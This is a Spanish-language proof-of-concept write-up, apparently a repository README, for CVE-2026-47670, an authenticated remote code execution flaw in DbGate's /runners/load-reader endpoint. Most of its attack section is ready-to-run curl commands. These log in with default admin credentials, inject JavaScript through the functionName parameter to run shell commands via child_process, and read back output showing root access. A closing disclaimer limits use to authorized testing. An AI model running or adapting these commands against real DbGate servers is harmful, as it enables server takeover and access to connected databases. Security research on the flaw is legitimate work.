
Ejecución remota de código autenticada a través de inyección de código en loadReader functionName en DbGate
Ejecución Remota de Código Autenticada mediante inyección en el parámetro functionName de loadReader en DbGate
DbGate es una herramienta de gestión de bases de datos de código abierto y multiplataforma diseñada para desarrolladores y administradores de bases de datos que necesitan trabajar con múltiples sistemas de bases de datos simultáneamente. Proporciona una interfaz web y de escritorio unificada para gestionar tanto bases de datos SQL como NoSQL, incluyendo MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle y otras, sin necesidad de cambiar entre diferentes aplicaciones cliente. DbGate funciona como una aplicación de escritorio independiente en Windows, macOS y Linux, o puede implementarse como una aplicación web mediante Docker, lo que lo hace popular en entornos de equipo y en escenarios de administración remota de bases de datos.
CVE-2026-47670 es una vulnerabilidad de Ejecución Remota de Código autenticada (RCE) que afecta a las versiones de DbGate anteriores a 7.1.9. El fallo existe en el endpoint /runners/load-reader, donde el parámetro se pasa a una ruta de ejecución de código insegura sin la debida sanitización. Un atacante con credenciales válidas de DbGate puede inyectar código JavaScript arbitrario a través de este parámetro, el cual se en el servidor con . La vulnerabilidad es particularmente peligrosa porque la mitigación de la aplicación puede ser trivialmente eludida mediante instrucciones dinámicas , permitiendo a los atacantes , , pivotar a servidores de bases de datos conectados o comprometer completamente el sistema anfitrión.
functionNamerequire = nullimport()# Paso 1 — autenticarse y obtener el token Bearer
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPUESTA
# =========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Paso 2 — inyectar mediante functionName (reemplazar TOKEN y /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPUESTA
# =========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Paso 3 — leer la salida del comando
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPUESTA
# =========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Este repositorio y su contenido se proporcionan estrictamente para investigación de seguridad legítima, pruebas de penetración autorizadas, estudio educativo y fines defensivos. Al acceder o usar este material, usted reconoce la plena responsabilidad de garantizar que sus actividades cumplan con todas las leyes aplicables y de haber obtenido la autorización adecuada antes de probar o aplicar estas técnicas en cualquier sistema que no posea.
Los autores y mantenedores de este proyecto no asumen ninguna responsabilidad por daños, consecuencias legales o uso indebido derivados de la aplicación de esta información. Cualquier uso para acceso no autorizado, actividad maliciosa o fines ilegales está expresamente prohibido y no cuenta con nuestro respaldo.
Úselo con responsabilidad. Manténgase dentro de la ley. Pruebe solo lo que posea o tenga permiso explícito por escrito para probar.
SCT-PL